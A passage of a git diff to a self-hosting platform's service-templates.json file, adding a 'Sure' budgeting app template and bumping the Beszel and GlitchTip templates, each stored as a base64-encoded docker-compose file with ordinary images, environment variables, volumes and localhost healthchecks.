+ "compose": "c2VydmljZXM6CiAgd2ViOgogICAgaW1hZ2U6ICdnaGNyLmlvL3dlLXByb21pc2Uvc3VyZTowLjYuNycKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX1NVUkVfMzAwMAogICAgICAtIEFQUF9ET01BSU49JFNFUlZJQ0VfRlFETl9TVVJFCiAgICAgIC0gU0VDUkVUX0tFWV9CQVNFPSRTRVJWSUNFX0JBU0U2NF9CQVNFCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1zdXJlfScKICAgICAgLSAnUkVESVNfVVJMPXJlZGlzOi8vdmFsa2V5OjYzNzknCiAgICAgIC0gREJfSE9TVD1wb3N0Z3Jlc3FsCiAgICAgIC0gREJfUE9SVD01NDMyCiAgICAgIC0gU0VMRl9IT1NURUQ9dHJ1ZQogICAgICAtIFJBSUxTX0ZPUkNFX1NTTD1mYWxzZQogICAgICAtIFJBSUxTX0FTU1VNRV9TU0w9ZmFsc2UKICAgICAgLSAnT05CT0FSRElOR19TVEFURT0ke09OQk9BUkRJTkdfU1RBVEU6LW9wZW59JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICB2YWxrZXk6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3N1cmUtYXBwLXN0b3JhZ2U6L3JhaWxzL3N0b3JhZ2UnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMCcKICAgICAgaW50ZXJ2YWw6IDE1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogNQogIHdvcmtlcjoKICAgIGltYWdlOiAnZ2hjci5pby93ZS1wcm9taXNlL3N1cmU6MC42LjcnCiAgICBjb21tYW5kOiAnYnVuZGxlIGV4ZWMgc2lkZWtpcScKICAgIGVudmlyb25tZW50OgogICAgICAtIEFQUF9ET01BSU49JFNFUlZJQ0VfRlFETl9TVVJFCiAgICAgIC0gU0VDUkVUX0tFWV9CQVNFPSRTRVJWSUNFX0JBU0U2NF9CQVNFCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1zdXJlfScKICAgICAgLSAnUkVESVNfVVJMPXJlZGlzOi8vdmFsa2V5OjYzNzknCiAgICAgIC0gREJfSE9TVD1wb3N0Z3Jlc3FsCiAgICAgIC0gREJfUE9SVD01NDMyCiAgICAgIC0gU0VMRl9IT1NURUQ9dHJ1ZQogICAgICAtIFJBSUxTX0ZPUkNFX1NTTD1mYWxzZQogICAgICAtIFJBSUxTX0FTU1VNRV9TU0w9ZmFsc2UKICAgICAgLSAnT05CT0FSRElOR19TVEFURT0ke09OQk9BUkRJTkdfU1RBVEU6LW9wZW59JwogICAgdm9sdW1lczoKICAgICAgLSAnc3VyZS1hcHAtc3RvcmFnZTovcmFpbHMvc3RvcmFnZScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgdmFsa2V5OgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMCcKICAgICAgaW50ZXJ2YWw6IDE1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogNQogIHBvc3RncmVzcWw6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3N1cmUtcG9zdGdyZXNxbC1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotc3VyZX0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgdmFsa2V5OgogICAgaW1hZ2U6ICd2YWxrZXkvdmFsa2V5OjgtYWxwaW5lJwogICAgY29tbWFuZDogJ3ZhbGtleS1zZXJ2ZXIgLS1hcHBlbmRvbmx5IHllcycKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3N1cmUtdmFsa2V5Oi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd2YWxrZXktY2xpIHBpbmcgfCBncmVwIFBPTkcnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiA1CiAgICAgIHN0YXJ0X3BlcmlvZDogM3MK",
+ "tags": [
+ "budgeting",
+ "budget",
+ "money",
+ "expenses",
+ "income"
+ ],
+ "category": "finance",
+ "logo": "svgs/sure.png",
+ "minversion": "0.0.0",
+ "port": "3000"
+ },
"swetrix": {
"documentation": "https://docs.swetrix.com/selfhosting/how-to?utm_source=coolify.io",
"slogan": "Privacy-friendly and cookieless European web analytics alternative to Google Analytics.",
diff --git a/templates/service-templates.json b/templates/service-templates.json
index 545d9c62e..580834a21 100644
--- a/templates/service-templates.json
+++ b/templates/service-templates.json
@@ -254,7 +254,7 @@
"beszel-agent": {
"documentation": "https://www.beszel.dev/guide/agent-installation?utm_source=coolify.io",
"slogan": "Monitoring agent for Beszel",
- "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE2LjEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMSVNURU49L2Jlc3plbF9zb2NrZXQvYmVzemVsLnNvY2sKICAgICAgLSAnSFVCX1VSTD0ke0hVQl9VUkw/fScKICAgICAgLSAnVE9LRU49JHtUT0tFTj99JwogICAgICAtICdLRVk9JHtLRVk/fScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCg==",
+ "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE4LjQnCiAgICBuZXR3b3JrX21vZGU6IGhvc3QKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RFTj0vYmVzemVsX3NvY2tldC9iZXN6ZWwuc29jawogICAgICAtIEhVQl9VUkw9JFNFUlZJQ0VfRlFETl9CRVNaRUwKICAgICAgLSAnVE9LRU49JHtUT0tFTn0nCiAgICAgIC0gJ0tFWT0ke0tFWX0nCiAgICAgIC0gJ0RJU0FCTEVfU1NIPSR7RElTQUJMRV9TU0g6LWZhbHNlfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi13YXJufScKICAgICAgLSAnU0tJUF9HUFU9JHtTS0lQX0dQVTotZmFsc2V9JwogICAgICAtICdTWVNURU1fTkFNRT0ke1NZU1RFTV9OQU1FfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gL2FnZW50CiAgICAgICAgLSBoZWFsdGgKICAgICAgaW50ZXJ2YWw6IDYwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwo=",
"tags": [
"beszel",
"monitoring",
@@ -269,7 +269,7 @@
"beszel": {
"documentation": "https://github.com/henrygd/beszel?tab=readme-ov-file#getting-started?utm_source=coolify.io",
"slogan": "A lightweight server resource monitoring hub with historical data, docker stats, and alerts.",
- "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE2LjEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fQkVTWkVMXzgwOTAKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9kYXRhOi9iZXN6ZWxfZGF0YScKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICBiZXN6ZWwtYWdlbnQ6CiAgICBpbWFnZTogJ2hlbnJ5Z2QvYmVzemVsLWFnZW50OjAuMTYuMScKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RFTj0vYmVzemVsX3NvY2tldC9iZXN6ZWwuc29jawogICAgICAtICdIVUJfVVJMPWh0dHA6Ly9iZXN6ZWw6ODA5MCcKICAgICAgLSAnVE9LRU49JHtUT0tFTn0nCiAgICAgIC0gJ0tFWT0ke0tFWX0nCiAgICB2b2x1bWVzOgogICAgICAtICdiZXN6ZWxfYWdlbnRfZGF0YTovdmFyL2xpYi9iZXN6ZWwtYWdlbnQnCiAgICAgIC0gJ2Jlc3plbF9zb2NrZXQ6L2Jlc3plbF9zb2NrZXQnCiAgICAgIC0gJy92YXIvcnVuL2RvY2tlci5zb2NrOi92YXIvcnVuL2RvY2tlci5zb2NrOnJvJwo=",
+ "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE4LjQnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fQkVTWkVMXzgwOTAKICAgICAgLSAnQ09OVEFJTkVSX0RFVEFJTFM9JHtDT05UQUlORVJfREVUQUlMUzotdHJ1ZX0nCiAgICAgIC0gJ1NIQVJFX0FMTF9TWVNURU1TPSR7U0hBUkVfQUxMX1NZU1RFTVM6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9kYXRhOi9iZXN6ZWxfZGF0YScKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYmVzemVsCiAgICAgICAgLSBoZWFsdGgKICAgICAgICAtICctLXVybCcKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjgwOTAnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMKICBiZXN6ZWwtYWdlbnQ6CiAgICBpbWFnZTogJ2hlbnJ5Z2QvYmVzemVsLWFnZW50OjAuMTguNCcKICAgIG5ldHdvcmtfbW9kZTogaG9zdAogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTElTVEVOPS9iZXN6ZWxfc29ja2V0L2Jlc3plbC5zb2NrCiAgICAgIC0gSFVCX1VSTD0kU0VSVklDRV9GUUROX0JFU1pFTAogICAgICAtICdUT0tFTj0ke1RPS0VOfScKICAgICAgLSAnS0VZPSR7S0VZfScKICAgICAgLSAnRElTQUJMRV9TU0g9JHtESVNBQkxFX1NTSDotZmFsc2V9JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LXdhcm59JwogICAgICAtICdTS0lQX0dQVT0ke1NLSVBfR1BVOi1mYWxzZX0nCiAgICAgIC0gJ1NZU1RFTV9OQU1FPSR7U1lTVEVNX05BTUV9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2FnZW50X2RhdGE6L3Zhci9saWIvYmVzemVsLWFnZW50JwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYWdlbnQKICAgICAgICAtIGhlYWx0aAogICAgICBpbnRlcnZhbDogNjBzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==",
"tags": [
"beszel",
"monitoring",
@@ -1758,19 +1758,17 @@
},
"glitchtip": {
"documentation": "https://glitchtip.com?utm_source=coolify.io",
- "slogan": "GlitchTip is a self-hosted, open-source error tracking system.",
- "compose": "c2VydmljZXM6CiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dsaXRjaHRpcC1wb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiByZWRpcwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gcGluZwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgd2ViOgogICAgaW1hZ2U6IGdsaXRjaHRpcC9nbGl0Y2h0aXAKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fR0xJVENIVElQXzgwODAKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFU1FMOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTUUxAcG9zdGdyZXM6NTQzMi8ke1BPU1RHUkVTUUxfREFUQUJBU0U6LWdsaXRjaHRpcH0nCiAgICAgIC0gU0VDUkVUX0tFWT0kU0VSVklDRV9CQVNFNjRfNjRfRU5DUllQVElPTgogICAgICAtICdFTUFJTF9VUkw9JHtFTUFJTF9VUkw6LWNvbnNvbGVtYWlsOi8vfScKICAgICAgLSAnR0xJVENIVElQX0RPTUFJTj0ke1NFUlZJQ0VfRlFETl9HTElUQ0hUSVB9JwogICAgICAtICdERUZBVUxUX0ZST01fRU1BSUw9JHtERUZBVUxUX0ZST01fRU1BSUw6LXRlc3RAZXhhbXBsZS5jb219JwogICAgICAtICdDRUxFUllfV09SS0VSX0FVVE9TQ0FMRT0ke0NFTEVSWV9XT1JLRVJfQVVUT1NDQUxFOi0xLDN9JwogICAgICAtICdDRUxFUllfV09SS0VSX01BWF9UQVNLU19QRVJfQ0hJTEQ9JHtDRUxFUllfV09SS0VSX01BWF9UQVNLU19QRVJfQ0hJTEQ6LTEwMDAwfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3VwbG9hZHM6L2NvZGUvdXBsb2FkcycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSBvawogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgd29ya2VyOgogICAgaW1hZ2U6IGdsaXRjaHRpcC9nbGl0Y2h0aXAKICAgIGNvbW1hbmQ6IC4vYmluL3J1bi1jZWxlcnktd2l0aC1iZWF0LnNoCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTDokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMQHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1nbGl0Y2h0aXB9JwogICAgICAtIFNFQ1JFVF9LRVk9JFNFUlZJQ0VfQkFTRTY0XzY0X0VOQ1JZUFRJT04KICAgICAgLSAnRU1BSUxfVVJMPSR7RU1BSUxfVVJMOi1jb25zb2xlbWFpbDovL30nCiAgICAgIC0gJ0dMSVRDSFRJUF9ET01BSU49JHtTRVJWSUNFX0ZRRE5fR0xJVENIVElQfScKICAgICAgLSAnREVGQVVMVF9GUk9NX0VNQUlMPSR7REVGQVVMVF9GUk9NX0VNQUlMOi10ZXN0QGV4YW1wbGUuY29tfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9BVVRPU0NBTEU9JHtDRUxFUllfV09SS0VSX0FVVE9TQ0FMRTotMSwzfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEPSR7Q0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEOi0xMDAwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzOi9jb2RlL3VwbG9hZHMnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gb2sKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG1pZ3JhdGU6CiAgICBpbWFnZTogZ2xpdGNodGlwL2dsaXRjaHRpcAogICAgcmVzdGFydDogJ25vJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGNvbW1hbmQ6ICcuL21hbmFnZS5weSBtaWdyYXRlJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTDokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMQHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1nbGl0Y2h0aXB9JwogICAgICAtIFNFQ1JFVF9LRVk9JFNFUlZJQ0VfQkFTRTY0XzY0X0VOQ1JZUFRJT04KICAgICAgLSAnRU1BSUxfVVJMPSR7RU1BSUxfVVJMOi1jb25zb2xlbWFpbDovL30nCiAgICAgIC0gJ0RFRkFVTFRfRlJPTV9FTUFJTD0ke0RFRkFVTFRfRlJPTV9FTUFJTDotdGVzdEBleGFtcGxlLmNvbX0nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfQVVUT1NDQUxFPSR7Q0VMRVJZX1dPUktFUl9BVVRPU0NBTEU6LTEsM30nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRD0ke0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRDotMTAwMDB9Jwo=",
+ "slogan": "GlitchTip is a error tracking system.",
+ "compose": "c2VydmljZXM6CiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dsaXRjaHRpcC1wb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiByZWRpcwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gcGluZwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgd2ViOgogICAgaW1hZ2U6ICdnbGl0Y2h0aXAvZ2xpdGNodGlwOjYuMCcKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fR0xJVENIVElQXzgwMDAKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFU1FMOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTUUxAcG9zdGdyZXM6NTQzMi8ke1BPU1RHUkVTUUxfREFUQUJBU0U6LWdsaXRjaHRpcH0nCiAgICAgIC0gU0VDUkVUX0tFWT0kU0VSVklDRV9CQVNFNjRfNjRfRU5DUllQVElPTgogICAgICAtICdFTUFJTF9VUkw9JHtFTUFJTF9VUkw6LWNvbnNvbGVtYWlsOi8vfScKICAgICAgLSAnR0xJVENIVElQX0RPTUFJTj0ke1NFUlZJQ0VfRlFETl9HTElUQ0hUSVB9JwogICAgICAtICdERUZBVUxUX0ZST01fRU1BSUw9JHtERUZBVUxUX0ZST01fRU1BSUw6LXRlc3RAZXhhbXBsZS5jb219JwogICAgICAtICdDRUxFUllfV09SS0VSX0FVVE9TQ0FMRT0ke0NFTEVSWV9XT1JLRVJfQVVUT1NDQUxFOi0xLDN9JwogICAgICAtICdDRUxFUllfV09SS0VSX01BWF9UQVNLU19QRVJfQ0hJTEQ9JHtDRUxFUllfV09SS0VSX01BWF9UQVNLU19QRVJfQ0hJTEQ6LTEwMDAwfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3VwbG9hZHM6L2NvZGUvdXBsb2FkcycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSBvawogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgd29ya2VyOgogICAgaW1hZ2U6ICdnbGl0Y2h0aXAvZ2xpdGNodGlwOjYuMCcKICAgIGNvbW1hbmQ6IC4vYmluL3J1bi1jZWxlcnktd2l0aC1iZWF0LnNoCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTDokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMQHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1nbGl0Y2h0aXB9JwogICAgICAtIFNFQ1JFVF9LRVk9JFNFUlZJQ0VfQkFTRTY0XzY0X0VOQ1JZUFRJT04KICAgICAgLSAnRU1BSUxfVVJMPSR7RU1BSUxfVVJMOi1jb25zb2xlbWFpbDovL30nCiAgICAgIC0gJ0dMSVRDSFRJUF9ET01BSU49JHtTRVJWSUNFX0ZRRE5fR0xJVENIVElQfScKICAgICAgLSAnREVGQVVMVF9GUk9NX0VNQUlMPSR7REVGQVVMVF9GUk9NX0VNQUlMOi10ZXN0QGV4YW1wbGUuY29tfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9BVVRPU0NBTEU9JHtDRUxFUllfV09SS0VSX0FVVE9TQ0FMRTotMSwzfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEPSR7Q0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEOi0xMDAwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzOi9jb2RlL3VwbG9hZHMnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gb2sKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG1pZ3JhdGU6CiAgICBpbWFnZTogJ2dsaXRjaHRpcC9nbGl0Y2h0aXA6Ni4wJwogICAgcmVzdGFydDogJ25vJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGNvbW1hbmQ6ICcuL21hbmFnZS5weSBtaWdyYXRlJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTDokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMQHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1nbGl0Y2h0aXB9JwogICAgICAtIFNFQ1JFVF9LRVk9JFNFUlZJQ0VfQkFTRTY0XzY0X0VOQ1JZUFRJT04KICAgICAgLSAnRU1BSUxfVVJMPSR7RU1BSUxfVVJMOi1jb25zb2xlbWFpbDovL30nCiAgICAgIC0gJ0RFRkFVTFRfRlJPTV9FTUFJTD0ke0RFRkFVTFRfRlJPTV9FTUFJTDotdGVzdEBleGFtcGxlLmNvbX0nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfQVVUT1NDQUxFPSR7Q0VMRVJZX1dPUktFUl9BVVRPU0NBTEU6LTEsM30nCiAgICAgIC0gJ0NFTEVSWV9XT